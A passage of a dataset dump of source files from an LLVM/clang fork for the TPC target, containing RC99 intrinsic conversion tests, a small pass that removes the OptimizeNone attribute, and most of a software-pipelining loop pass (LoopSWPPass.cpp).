%s\n\nvoid main(int src, int dest) {\n bfloat256 *sptr = (bfloat256 *)src;\n uint256 *dptr = (uint256 *)dest;\n bfloat256 src_val = *sptr;\n *dptr++ = convert_bfloat256_to_uint256(src_val, SW_RZ);\n *dptr = convert_bfloat256_to_uint256(src_val, SW_RD);\n}\n\n// CHECK-IR: fptoui <256 x bfloat> {{.*}} to <256 x i32>\n// CHECK-IR: call <256 x i32> @llvm.tpc.convert.v256i32.v256bf16.i1(<256 x bfloat> {{.*}}, i8 1, i32 197376, <256 x i32> undef, i1 true, i1 false)\n" }, { "alpha_fraction": 0.610533595085144, "alphanum_fraction": 0.6139985918998718, "avg_line_length": 28.428571701049805, "blob_id": "5ebd19849102cc5639ff7e4bd016b3e1006dac12", "content_id": "94d0a652ae0b3f60b9612f6f5ea17c76807cc2aa", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1443, "license_type": "permissive", "max_line_length": 80, "num_lines": 49, "path": "/llvm/lib/Target/TPC/AttributeAdjuster.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- AttributeAdjuster.cpp ----------------------------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// This pass is used solely to remove attribute OptimizeNone from the list of\n// function attributes, so that instruction combining can work.\n//===----------------------------------------------------------------------===//\n\n#include \"TPCTargetMachine.h\"\n#include \"llvm/Pass.h\"\n\nusing namespace llvm;\n\n\nnamespace {\nstruct AttributeAdjuster : public FunctionPass {\n static char ID; // Pass identification, replacement for typeid\n\n AttributeAdjuster() : FunctionPass(ID) {}\n\n bool doInitialization(Module &M) override {\n return false;\n }\n\n bool runOnFunction(Function &F) override {\n if (F.hasFnAttribute(Attribute::OptimizeNone)) {\n F.removeAttribute(AttributeList::FunctionIndex, Attribute::OptimizeNone);\n return true;\n }\n return false;\n }\n\n bool doFinalization(Module &M) override {\n return false;\n }\n};\n}\n\nchar AttributeAdjuster::ID = 0;\nINITIALIZE_PASS(AttributeAdjuster, \"adjust-attr\",\n \"Adjust function attributes\", false, false)\n\n FunctionPass *llvm::createAttributeAdjuster() {\n return new AttributeAdjuster();\n}\n\n" }, { "alpha_fraction": 0.5326278805732727, "alphanum_fraction": 0.6366842985153198, "avg_line_length": 46.25, "blob_id": "5595ab7743a29e641d9048bff879d2bd2f6c252a", "content_id": "175f5c9e8efc6183457eb3d0ce25a82d9e7146bb", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 567, "license_type": "permissive", "max_line_length": 139, "num_lines": 12, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_float64_to_uint64.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK-IR %s\n\nvoid main(int src, int dest) {\n float64 *sptr = (float64 *)src;\n uint64 *dptr = (uint64 *)dest;\n float64 src_val = *sptr;\n *dptr++ = convert_float64_to_uint64(src_val, SW_RZ);\n *dptr = convert_float64_to_uint64(src_val, SW_RD);\n}\n\n// CHECK-IR: fptoui <64 x float> {{.*}} to <64 x i32>\n// CHECK-IR: call <64 x i32> @llvm.tpc.convert.v64i32.v64f32.i1(<64 x float> {{.*}}, i8 0, i32 197376, <64 x i32> undef, i1 true, i1 false)\n" }, { "alpha_fraction": 0.5189655423164368, "alphanum_fraction": 0.6465517282485962, "avg_line_length": 47.33333206176758, "blob_id": "8826fa4c3cf58d6e5a3e52c565a6532cb2b3fd95", "content_id": "db1007d59b4691a039c98def6a81277e4b2e6bf9", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 580, "license_type": "permissive", "max_line_length": 146, "num_lines": 12, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_uint256_to_float256.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK-IR %s\n\nvoid main(int src, int dest) {\n uint256 *sptr = (uint256 *)src;\n float256 *dptr = (float256 *)dest;\n uint256 src_val = *sptr;\n *dptr++ = convert_uint256_to_float256(src_val, 0);\n *dptr = convert_uint256_to_float256(src_val, SW_RD);\n}\n\n// CHECK-IR: uitofp <256 x i32> {{.*}} to <256 x float>\n// CHECK-IR: call <256 x float> @llvm.tpc.convert.v256f32.v256i32.i1(<256 x i32> {{.*}}, i8 3, i32 196608, <256 x float> undef, i1 true, i1 false)\n" }, { "alpha_fraction": 0.6129870414733887, "alphanum_fraction": 0.633766233921051, "avg_line_length": 13.807692527770996, "blob_id": "1763c19ede4cf6915392bc06543b37924e22c357", "content_id": "64ae22d19c4b638be7762d3bdc962eb7353354fd", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 385, "license_type": "permissive", "max_line_length": 75, "num_lines": 26, "path": "/clang/test/RC99/restrictions/addrspace-10.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -verify %s\n// expected-no-diagnostics\n// No fields with vector addrspace\nint Global_Var;\nstruct Good {\n int *N;\n int64 *ptr;\n union {\n int NN;\n float F;\n } U;\n};\n\nstruct Users {\n int User;\n struct Good Var;\n int64 *ptr;\n};\n\nstruct Good Var;\n\nvoid main()\n{\n static struct Users St_Var;\n St_Var.User = 1;\n}\n" }, { "alpha_fraction": 0.6474667191505432, "alphanum_fraction": 0.649103581905365, "avg_line_length": 35.10902404785156, "blob_id": "da72a01d84534c99832a4b413499adb36c90c5a8", "content_id": "312412b1e8dc1afa4825910ab23b462b66de439d", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 90417, "license_type": "permissive", "max_line_length": 81, "num_lines": 2504, "path": "/llvm/lib/Transforms/Scalar/LoopSWPPass.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- LoopSWPPass.cpp : TPC IR Software Pipelining -----------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===-----------------------------------------------------------------------===//\n//\n//===-----------------------------------------------------------------------===//\n#include \"llvm/Transforms/Scalar/LoopSWPPass.h\"\n#include \"llvm/Analysis/LoopPass.h\"\n#include \"llvm/Analysis/ScalarEvolution.h\"\n#include \"llvm/IR/CFG.h\"\n#include \"llvm/IR/PassManager.h\"\n#include \"llvm/InitializePasses.h\"\n#include \"llvm/Pass.h\"\n#include \"llvm/Transforms/Scalar.h\"\n#include \"llvm/Transforms/Utils/LoopUtils.h\"\n\n#include \"InstSequence.h\"\n#include \"TPCIterationClusterizer.h\"\n#include \"TPCOptUtils.h\"\n\nusing namespace llvm;\n\n#define PassName \"loop-swp\"\n#define PassDescription \\\n \"Apply Software Pipelining optimization for TPC at LLVM-IR\"\n#define DEBUG_TYPE PassName\n\n#define LOOP_SWP_DEBUG(x) LLVM_DEBUG(dbgs() << \"[LoopSWPPass] \" << x << \"\\n\");\n\nstatic cl::opt<bool> LoopSWPFlag(\"loop-software-pipelining\", cl::init(false),\n cl::Hidden);\nstatic cl::opt<unsigned> LoopSWPLoadPrefetchCount(\"swp-load-prefetch-count\",\n cl::init(0), cl::Hidden);\n#define BAIL_OUT_TAG \"[BAIL-OUT] \"\n#define DISABLED_TAG \"[DISABLED] \"\n#define SUCCESS_TAG \"[SUCCESS] \"\n\nclass LoopSWP : public LoopPass {\npublic:\n static char ID;\n LoopSWP() : LoopPass(ID) {\n initializeLoopSWPPass(*PassRegistry::getPassRegistry());\n }\n\n void getAnalysisUsage(AnalysisUsage &AU) const override {\n AU.addPreserved<ScalarEvolutionWrapperPass>();\n getLoopAnalysisUsage(AU);\n }\n\nprivate:\n /* Data */\n\n unsigned NumClusters = 0;\n unsigned LoadPrefetchCount = 0;\n bool IsAccumulationLoop = false;\n bool HasLoadIncome = false;\n bool HasInductionInCoordSeq = false;\n\n // Loop to be pipelined\n Loop *WorkingLoop = nullptr;\n // BasicBlocks of the working loop\n BasicBlock *HeaderBlock, *PreheaderBlock, *ExitBlock;\n\n // At the end of clusterization, this vector of ClusterInfo struct will be\n // populated with all information related to the loop's iteration clusters.\n // The size of this vector will be equal to the number of clusters found.\n ClusterInfoVecType LoopClusters;\n\n // link from Preheader/Exit Phi to Header Phi\n InstInstMapType PreToHeaderPhiMap;\n InstInstMapType ExitToHeaderPhiMap;\n\n // set of all induction phis\n PhiNodeSetType InductionPhiSet;\n\n // set of Accum Phi instructions\n InstructionSetType AccumPhis[BlockType::NumBlocks];\n\n // mapping from an Inst to it's clone (across blocks)\n InstCloneMapType InstCloneMap[BlockType::NumBlocks];\n\n // mappings from each Load/GlobalLoad instruction to Load Phi\n InstInstMapType LoadToPhiMap[BlockType::NumBlocks];\n // mappings from each Accum user to it's Accum Phi\n InstInstMapType AccumToPhiMap[BlockType::NumBlocks];\n\n // An Alpha is an Instruction that is at the head of the chain of updates\n // it belongs to. For e.g.: In the following BasicBlock, consider the chain\n // of Coord updates:\n //\n // BB :\n // %ifmCoord = phi <5 x i32> (...)\n // %ifmCoord.1 = add.mask(1, ifmCoord, width, ...)\n // %ifmCoord.2 = add.mask(1, ifmCoord.1, width, ...)\n // %ifmCoord.3 = add.mask(1, ifmCoord.2, width, ...)\n //\n // Here, %ifmCoord is the Alpha for the chain shown.\n // The head of such a chain not necessarily has to be a Phi node, hence the\n // term Alpha is used for convenience.\n //\n // mappings from an update Inst to it's Alpha\n InstInstMapType InstToAlphaMap[BlockType::NumBlocks];\n\n // mapping from phi to it's last update instruction\n // the key can be a coord update phi or an accum phi\n InstInstMapType PhiLastUpdateMap[BlockType::NumBlocks]; // TODO : deprecate\n // mapping from and Inst to it's update Inst\n InstInstMapType InstUpdateMap[BlockType::NumBlocks];\n\n // this set contains all the instructions not clustered by traversing\n // use-def chain of store instructions\n InstructionSetType UnclusteredInstructions;\n\n // this set contains all the instructions related to branch instruction and\n // induction steps\n InstructionSetType LoopStructureInsts;\n\n // this set contains all the Induction step instructions\n InstructionSetType InductionInsts;\n\n // set of instructions inserted into the current block being modified\n InstructionSetType InsertedBlockInsts;\n\n // phi node insertion point for the basic block being modified\n BasicBlock::iterator BBPhiInsertIt;\n\n // insertion point for the basic block being modified\n BasicBlock::iterator BBInsertIt;\n\n // mapping from pivot load/store instructions to their InstSequence object ref\n InstSequenceMapType InstSeqMap;\n // mapping from pivot load instructions to their LoadStoreSequence object ref\n InstLoadStoreSeqMapType InstLoadStoreSeqMap;\n\n InductionDescriptor InductionDesc;\n ScalarEvolution *SE;\n\n /* Util functions */\n\n // set/get number of clusters\n void setNumClusters(unsigned N) { NumClusters = N; }\n unsigned getNumClusters() { return NumClusters; }\n\n // set/get pipelining load count\n void setLoadPrefetchCount();\n unsigned getLoadPrefetchCount() { return LoadPrefetchCount; }\n\n // get/set whether the loop has accumulator\n void setIsAccumulationLoop(bool IsAccumLoop) {\n IsAccumulationLoop = IsAccumLoop;\n }\n bool getIsAccumulationLoop() { return IsAccumulationLoop; }\n\n // get/set whether the Loop has Loads with income value\n bool getHasLoadIncome() { return HasLoadIncome; }\n void setHasLoadIncome() { HasLoadIncome = true; }\n\n // initialize Analysis Info objects\n void initAnalysisInfo();\n\n // check whether the given Phi node is an Induction Phi\n bool isInductionPHI(PHINode *PhiNode);\n\n // check whether the given Instruction is an Induction Phi\n bool isInductionPHI(Instruction *I);\n\n // print the contents of the PhiLastUpdateMap\n void dumpPhiLastUpdateMap(BlockType BT = BlockType::Header);\n\n // update the Inst -> Phi mapping and the PhiLastUpdateMap\n void setPhiInfo(Instruction *I, Instruction *Phi,\n InstInstMapType &InstToPhiMap,\n BlockType BT = BlockType::Header);\n\n // set flag that the given instruction is an accum instruction\n void setIsAccumInst(Instruction *I, Instruction *AccumPhi,\n BlockType BT = BlockType::Header);\n\n // get whether the instruction in block of type accumulation type\n bool getIsAccumInst(Instruction *I, BlockType BT = BlockType::Header);\n\n // get the constant addend from the given instruction\n Value *getConstAddend(Instruction *I);\n\n // get the non constant addend from the given instruction\n Value *getNonConstAddend(Instruction *I);\n\n // print the contents of all loop blocks\n void dumpLoopBlocks(std::string HeaderNote = \"\");\n\n // set ptrs to all BasicBlocks related to the loop\n bool setBasicBlocks();\n\n // check if the given two instruction are of similar in opcode / intrin id\n bool isSimilarType(Instruction *I1, Instruction *I1Override, Instruction *I2);\n\n // check if the given Usr is the next update of the instruction I\n bool checkInstUpdate(Instruction *I, Instruction *Usr, bool &IsInstUpdate,\n Instruction *RefPhi = nullptr,\n BlockType BT = BlockType::Header,\n std::string Indent = \"\\t\");\n\n // get the last update instruction in the chain with I as Alpha\n Instruction *getLastUpdate(Instruction *I, BlockType BT);\n\n // get the N'th update instruction in the chain with I as Alpha\n Instruction *getNthUpdate(Instruction *I, unsigned N, BlockType BT);\n\n // insert the Instruction I into the given BasicBlock at the insertion point\n bool insertIntoBlock(BlockType BT, Instruction *I, std::string DebugTag = \"\");\n\n // create/clear Instruction List Containers\n void resetInstContainers();\n\n void cleanup();\n\n // get the preheader clone of the given instruction\n Instruction *getPreheaderClone(Instruction *I);\n\n // create a mapping from given Load inst to it's next update chain in the\n // Header block\n bool collectLoadUpdates(Instruction *Alpha, Instruction *LastPivot,\n std::string DebugTag = \"\\t\");\n\n // create a mapping from given Load inst to it's next update chain in the\n // given Block\n bool collectLoadUpdates(Instruction *I, Instruction *RefPhi, BlockType BT,\n std::string DebugTag = \"\\t\");\n\n // create a mapping from given inst to it's next update chain\n bool collectInstUpdates(Instruction *I, Instruction *RefPhi = nullptr,\n BlockType BT = BlockType::Header,\n std::string Indent = \"\\t\");\n\n // create a mappping from alpha family insts to their next updates\n bool collectAlphaUpdates(BlockType BT = BlockType::Header,\n std::string Indent = \"\\t\");\n\n // split the coords across loads and stores\n bool splitLoadStoreCoords(InstructionVecType &HeaderStoreList);\n\n // create pre-load and pre-store sequences for all load/store instructions\n // also mark if any sequence has Induction variable usage\n bool createLoadStoreSequences(InstructionVecType &HeaderStoreList,\n InstructionVecType &HeaderLoadList);\n\n // create preheader clone of the given Instruction\n Instruction *createPreheaderCloneBase(Instruction *I,\n InstCloneMapType &CloneMap,\n bool BlockInsertFlag = true,\n std::string DebugTag = \"\");\n\n // create preheader clone of the given load instruction\n Instruction *createPreheaderLoadClone(Instruction *LoadInst,\n std::string DebugTag = \"\");\n\n // create preheader clone for the given instruction\n Instruction *createPreheaderClone(Instruction *I, std::string DebugTag = \"\");\n\n // patch the header load coord phi instruction with the last coord update\n // instruction in the preheader block\n void patchHeaderPhiWithPreheaderIncome(Instruction *LoadCoordInst,\n Instruction *PreLoadCoordInst,\n std::string DebugTag = \"\");\n\n // patch all the Header Load coord phis with the last coord update instruction\n // in the preheader block\n void patchHeaderPhisWithPreheaderIncome(std::string DebugTag = \"\");\n\n // create preheader clones\n void createPreheaderClones(std::string DebugTag = \"\");\n\n // modify the preheader of the loop by moving loads up\n void modifyPreheader();\n\n // create a new phi node in the header block with incoming values from\n // preheader and header\n Instruction *createHeaderLoadPhi(Instruction *LoadInst, int ClusterIdx,\n int LoadIdx, std::string DebugTag = \"\");\n\n // modify the loop body by re-arranging computes/stores/loads\n void modifyHeaderBlock();\n\n // collect all the lcssa phi insts\n void collectExitLCSSAPhis(InstructionSetType &LcssaPhis,\n std::string DebugTag = \"\");\n\n // update the users of exit block's lcssa phis in the blocks outside exit\n void updateLcssaPhiUsers(InstructionSetType &LcssaPhis,\n std::string DebugTag = \"\");\n\n // get the clone of the given instruction for the Block of type BT\n Instruction *getClone(Instruction *I, BlockType BT);\n\n // replace the definition of the operands of the given instruction with their\n // exit block clones\n void replaceDefsWithClones(Instruction *I, BlockType BT,\n std::string DebugTag = \"\");\n\n // create a clone of the given instruction\n Instruction *createExitCloneBase(Instruction *I, InstCloneMapType &CloneMap,\n bool BlockInsertFlag = true,\n std::string DebugTag = \"\");\n\n // create a clone of the given load instruction, and it's coord if not cloned\n // yet\n Instruction *createExitLoadStoreInstClone(Instruction *I,\n std::string DebugTag = \"\");\n\n // create a clone of the given accumulator instruction\n Instruction *createExitAccumClone(Instruction *I, std::string DebugTag = \"\");\n\n // create a clone of the given instruction\n Instruction *createExitClone(Instruction *I, std::string DebugTag = \"\");\n\n // get the Exit block clone of the given instruction\n Instruction *getExitClone(Instruction *I);\n\n // create the load instructions for exit block\n void createExitLoadInsts(unsigned ClusterIdx, std::string DebugTag = \"\");\n\n // create the store/accum instructions for exit block\n void createExitOutInsts(unsigned ClusterIdx, std::string DebugTag = \"\");\n\n // create the compute instructions for exit block\n void createExitComputeInsts(unsigned ClusterIdx, std::string DebugTag = \"\");\n\n // modify the exit block by adding the final computes/stores\n void modifyExitBlock();\n\n // update the loop bounds by incrementing the induction value in the\n // preheader block\n void updateLoopBounds();\n\n // check if the WorkingLoop is a Prologue/Epilogue loop\n bool isPrologueOrEpilogueLoop();\n\n // check if the coord updates are not uniform\n bool checkUniformCoordUpdates(std::string Indent = \"\\t\");\n\n // check if the there is at least one compute that is unclustered\n bool hasUnclusteredCompute(std::string Indent = \"\\t\");\n\n // check the presence of stores and reduction\n bool checkRequirements(std::string Indent = \"\\t\");\n\n // check if pipelining is enabled for the given loop\n bool isPipeliningEnabled();\n\n // check if pipelining can be applied on the given loop\n bool isPipeliningPossible();\n\n // check if pipelining on the given loop is profitable\n bool isPipeliningProfitable();\n\n // apply all basic block changes required to achieve software pipelining\n void applySoftwarePipelining();\n\n // print the original loop (input to this pass)\n void dumpInputLoop();\n\n // verify whether the whole loop nest is in LCSSA form after pipelining\n bool verifyLCSSAForm();\n\n // main function\n bool runOnLoop(Loop *Lp, LPPassManager &LPM) override;\n};\n\nchar LoopSWP::ID = 0;\n\nINITIALIZE_PASS_BEGIN(LoopSWP, PassName, PassDescription, false, false)\nINITIALIZE_PASS_DEPENDENCY(LoopPass)\nINITIALIZE_PASS_END(LoopSWP, PassName, PassDescription, false, false)\n\nPass *llvm::createLoopSWPPass() { return new LoopSWP(); }\n\nValue *LoopSWP::getConstAddend(Instruction *I) {\n return TPCOptUtils::getAddend(I);\n}\n\nValue *LoopSWP::getNonConstAddend(Instruction *I) {\n return TPCOptUtils::getAddend(I, false);\n}\n\n// TODO : cluster info dep\nvoid LoopSWP::resetInstContainers() {\n NumClusters = 0;\n IsAccumulationLoop = false;\n\n LoopClusters.clear();\n\n UnclusteredInstructions.clear();\n\n PreToHeaderPhiMap.clear();\n ExitToHeaderPhiMap.clear();\n\n for (unsigned i = 0; i < BlockType::NumBlocks; i++) {\n AccumPhis[i].clear();\n LoadToPhiMap[i].clear();\n AccumToPhiMap[i].clear();\n PhiLastUpdateMap[i].clear();\n InstCloneMap[i].clear();\n LoadToPhiMap[i].clear();\n InstToAlphaMap[i].clear();\n InstUpdateMap[i].clear();\n }\n\n InstSeqMap.clear();\n InstLoadStoreSeqMap.clear();\n\n InsertedBlockInsts.clear();\n InductionPhiSet.clear();\n LoopStructureInsts.clear();\n InductionInsts.clear();\n}\n\nvoid LoopSWP::cleanup() {\n for (unsigned i = 0; i < LoopClusters.size(); i++) {\n // free the load inst sequence objects\n for (auto LoadInst : LoopClusters[i]->HeaderLoadInstsVec) {\n auto It = InstLoadStoreSeqMap.find(LoadInst);\n if (It != InstLoadStoreSeqMap.end())\n delete It->second;\n }\n // free the store inst sequence objects\n for (auto StoreInst : LoopClusters[i]->HeaderStoreInstsVec) {\n auto It = InstLoadStoreSeqMap.find(StoreInst);\n if (It != InstLoadStoreSeqMap.end())\n delete It->second;\n }\n\n // free the cluster-info struct\n delete LoopClusters[i];\n }\n LoopClusters.clear();\n}\n\nvoid LoopSWP::setLoadPrefetchCount() {\n // use user-defined load count\n if (LoopSWPLoadPrefetchCount)\n LoadPrefetchCount = LoopSWPLoadPrefetchCount;\n else // set default\n LoadPrefetchCount = (getNumClusters() ? getNumClusters() : 0);\n\n // override\n // In case any CoordSeq of Load contains an Induction phi, when the CoordSeq\n // has to be peeled along with it's Pivot load, the Induction Phi should\n // also be cloned to Preheader block. Without decoupling the CoordSeq from\n // the actual Induction Phi, such cloning will be unsafe since it affects the\n // loop range.\n //\n // In such a case, restrict the PrefetchCount to UnrollFactor so that the\n // Induction Phi update remain a multiple of UnrollFactor.\n if (HasInductionInCoordSeq)\n LoadPrefetchCount = getNumClusters();\n\n LOOP_SWP_DEBUG(\"LoadPrefetchCount set to : \" << LoadPrefetchCount)\n}\n\nbool LoopSWP::setBasicBlocks() {\n HeaderBlock = WorkingLoop->getHeader();\n\n PreheaderBlock = WorkingLoop->getLoopPreheader();\n if (!PreheaderBlock) {\n LOOP_SWP_DEBUG(\"Invalid Preheader Block, exiting ...\")\n return false;\n }\n\n ExitBlock = WorkingLoop->getExitBlock();\n if (!ExitBlock) {\n LOOP_SWP_DEBUG(\"Invalid Exit Block, exiting ...\")\n return false;\n }\n\n return true;\n}\n\nbool LoopSWP::isSimilarType(Instruction *I1, Instruction *I1Override,\n Instruction *I2) {\n if (I1Override)\n I1 = I1Override;\n\n if (isa<PHINode>(I1)) {\n Instruction *RefPhi = I1;\n // if the Phi belongs to PreheaderBlock, we use it's HeaderBlock Phi\n // since we need the incoming instruction to the Header Phi as the\n // reference Inst for type match\n if (RefPhi->getParent() == PreheaderBlock) {\n auto It = PreToHeaderPhiMap.find(RefPhi);\n if (It == PreToHeaderPhiMap.end())\n return false;\n RefPhi = It->second;\n }\n I1 = cast<Instruction>(\n cast<PHINode>(RefPhi)->getIncomingValueForBlock(HeaderBlock));\n }\n if (isa<PHINode>(I2)) {\n Instruction *RefPhi = I2;\n if (RefPhi->getParent() == PreheaderBlock) {\n auto It = PreToHeaderPhiMap.find(RefPhi);\n if (It == PreToHeaderPhiMap.end())\n return false;\n RefPhi = It->second;\n }\n I2 = cast<Instruction>(\n cast<PHINode>(RefPhi)->getIncomingValueForBlock(HeaderBlock));\n }\n\n bool IsI1Intrin = false, IsI2Intrin = false;\n Intrinsic::ID I1ID, I2ID;\n if (auto Intrin = dyn_cast<IntrinsicInst>(I1)) {\n IsI1Intrin = true;\n I1ID = Intrin->getIntrinsicID();\n }\n if (auto Intrin = dyn_cast<IntrinsicInst>(I2)) {\n IsI2Intrin = true;\n I2ID = Intrin->getIntrinsicID();\n }\n\n if (IsI1Intrin != IsI2Intrin)\n return false;\n\n // both are intrinsics\n if (IsI1Intrin) {\n return (I1ID == I2ID);\n } else {\n return I1->getOpcode() == I2->getOpcode();\n }\n}\n\n// analyse whether the given user of the instruction is an update instruction\nbool LoopSWP::checkInstUpdate(Instruction *I, Instruction *Usr,\n bool &IsInstUpdate, Instruction *RefPhi,\n BlockType BT, std::string Indent) {\n IsInstUpdate = false;\n\n std::string DebugTag = \"<checkInstUpdate> \" + Indent;\n LOOP_SWP_DEBUG(DebugTag << \"[Begin]\")\n LOOP_SWP_DEBUG(DebugTag << \"I = \" << *I)\n LOOP_SWP_DEBUG(DebugTag << \"User = \" << *Usr)\n\n // If the Def Inst 'I' is already mapped with it's next update, there is\n // nothing to do\n auto It = InstUpdateMap[BT].find(I);\n if (It != InstUpdateMap[BT].end() && It->second != nullptr) {\n LOOP_SWP_DEBUG(DebugTag << \"Update of I is already tracked, exiting ...\")\n LOOP_SWP_DEBUG(DebugTag << \"[End]\")\n return true;\n }\n\n // If the User Inst is already known as an update for an Inst, this shouldn't\n // have happened\n auto UserIt = InstUpdateMap[BT].find(Usr);\n if (UserIt != InstUpdateMap[BT].end()) {\n LOOP_SWP_DEBUG(DebugTag\n << \"User is already an update of another Inst, exiting ...\")\n LOOP_SWP_DEBUG(DebugTag << \"[End]\")\n return true;\n }\n\n if (isSimilarType(I, RefPhi, Usr)) {\n // caution : insertelement user has must have I as the first operand to be\n // considered as an update inst\n if (isa<InsertElementInst>(Usr)) {\n if (I != cast<Instruction>(Usr->getOperand(0))) {\n LOOP_SWP_DEBUG(DebugTag\n << \"I is not the first operand of insertelement User; \"\n \"hence not an update, exiting ...\")\n LOOP_SWP_DEBUG(DebugTag << \"[End]\")\n return true;\n }\n }\n\n // at this point, we are certain that the Usr is indeed an update\n // instruction of I\n if (It == InstUpdateMap[BT].end())\n InstUpdateMap[BT].insert(std::make_pair(I, Usr));\n else\n It->second = Usr;\n\n // append a null tail for the update-chain in the map\n // (this is to make the check for whether an Inst is an update of other\n // simpler)\n InstUpdateMap[BT].insert(std::make_pair(Usr, nullptr));\n IsInstUpdate = true;\n }\n\n LOOP_SWP_DEBUG(DebugTag << \"[End]\")\n return true;\n}\n\nInstruction *LoopSWP::getLastUpdate(Instruction *I, BlockType BT) {\n if (isInductionPHI(I)) {\n auto LastIt = PhiLastUpdateMap[BT].find(I);\n assert(LastIt != PhiLastUpdateMap[BT].end() &&\n \"Bug : last update not found for Induction Phi\");\n return LastIt->second;\n }\n\n auto UpdateMap = InstUpdateMap[BT];\n Instruction *NextUpdate = nullptr;\n auto It = UpdateMap.find(I);\n while (It != UpdateMap.end() && It->second != nullptr) {\n NextUpdate = It->second;\n It = UpdateMap.find(NextUpdate);\n }\n return NextUpdate;\n}\n\nInstruction *LoopSWP::getNthUpdate(Instruction *I, unsigned N, BlockType BT) {\n if (N == getNumClusters())\n return getLastUpdate(I, BT);\n\n auto UpdateMap = InstUpdateMap[BT];\n Instruction *NextUpdate = nullptr;\n auto It = UpdateMap.find(I);\n while (N && It != UpdateMap.end() && It->second != nullptr) {\n N--;\n NextUpdate = It->second;\n It = UpdateMap.find(NextUpdate);\n }\n if (N)\n return nullptr;\n return NextUpdate;\n}\n\nbool LoopSWP::insertIntoBlock(BlockType BT, Instruction *I,\n std::string DebugTag) {\n return TPCOptUtils::insertIntoBlock(WorkingLoop, BT, I, InsertedBlockInsts,\n BBInsertIt, BBPhiInsertIt, DebugTag);\n}\n\n// TODO: use a custom function and remove dependence on util function in\n// the LoopUnroll.h (getUnrollMetadataForLoop())\n\n// loop pragma condition check\nstatic bool isPipelinePragmaDefined(Loop *WorkingLoop) {\n // pipeline pragma\n auto *PipePragmaEnable = TPCOptUtils::getUnrollMetadataForLoop(\n WorkingLoop, \"llvm.loop.ir.pipeline\");\n\n LOOP_SWP_DEBUG(\"llvm.loop.ir.pipeline = \" << PipePragmaEnable)\n return PipePragmaEnable;\n}\n\nstatic bool isUnrollPragmaDefined(Loop *WorkingLoop) {\n // unroll pragma\n auto *UnrollPragmaEnable = TPCOptUtils::getUnrollMetadataForLoop(\n WorkingLoop, \"llvm.loop.unroll.disable\");\n LOOP_SWP_DEBUG(\"llvm.loop.unroll.disabled = \" << UnrollPragmaEnable)\n return UnrollPragmaEnable;\n\n // unroll count pragma\n auto *UnrollPragmaCount = TPCOptUtils::getUnrollMetadataForLoop(\n WorkingLoop, \"llvm.loop.unroll.count\");\n LOOP_SWP_DEBUG(\"llvm.loop.unroll.count = \" << UnrollPragmaCount)\n return UnrollPragmaCount;\n}\n\n// initialize the data needed for Induction Phi check\nvoid LoopSWP::initAnalysisInfo() {\n SE = &getAnalysis<ScalarEvolutionWrapperPass>().getSE();\n WorkingLoop->getInductionDescriptor(*SE, InductionDesc);\n}\n\nbool LoopSWP::isInductionPHI(PHINode *PhiNode) {\n BasicBlock *BB = PhiNode->getParent();\n if (BB == PreheaderBlock)\n PhiNode = cast<PHINode>(PreToHeaderPhiMap[PhiNode]);\n else if (BB == ExitBlock)\n PhiNode = cast<PHINode>(ExitToHeaderPhiMap[PhiNode]);\n\n auto It = InductionPhiSet.find(PhiNode);\n if (It != InductionPhiSet.end())\n return true;\n\n bool IsInductionPhi = InductionDescriptor::isInductionPHI(\n PhiNode, WorkingLoop, SE, InductionDesc);\n if (IsInductionPhi)\n InductionPhiSet.insert(PhiNode);\n\n return IsInductionPhi;\n}\n\nbool LoopSWP::isInductionPHI(Instruction *I) {\n if (auto *PhiNode = dyn_cast<PHINode>(I))\n return isInductionPHI(PhiNode);\n return false;\n}\n\nvoid LoopSWP::dumpPhiLastUpdateMap(BlockType BT) {\n LLVM_DEBUG(LOOP_SWP_DEBUG(\n \"PhiLastUpdateMap : {\") for (auto kvp\n : PhiLastUpdateMap[BT]){\n LOOP_SWP_DEBUG(\"\\t\" << kvp.first << \" : \" << kvp.second) LOOP_SWP_DEBUG(\n \"\\t\" << *kvp.first << \" : \" << *kvp.second)} LOOP_SWP_DEBUG(\"}\"));\n return;\n}\n\nvoid LoopSWP::setPhiInfo(Instruction *I, Instruction *Phi,\n InstInstMapType &InstToPhiMap, BlockType BT) {\n if (InstToPhiMap.find(I) == InstToPhiMap.end())\n InstToPhiMap.insert(std::make_pair(I, Phi));\n else\n InstToPhiMap[I] = Phi;\n\n if (PhiLastUpdateMap[BT].find(Phi) == PhiLastUpdateMap[BT].end())\n PhiLastUpdateMap[BT].insert(std::make_pair(Phi, I));\n else\n PhiLastUpdateMap[BT][Phi] = I;\n\n dumpPhiLastUpdateMap(BT);\n return;\n}\n\nvoid LoopSWP::setIsAccumInst(Instruction *I, Instruction *AccumPhi,\n BlockType BT) {\n setPhiInfo(I, 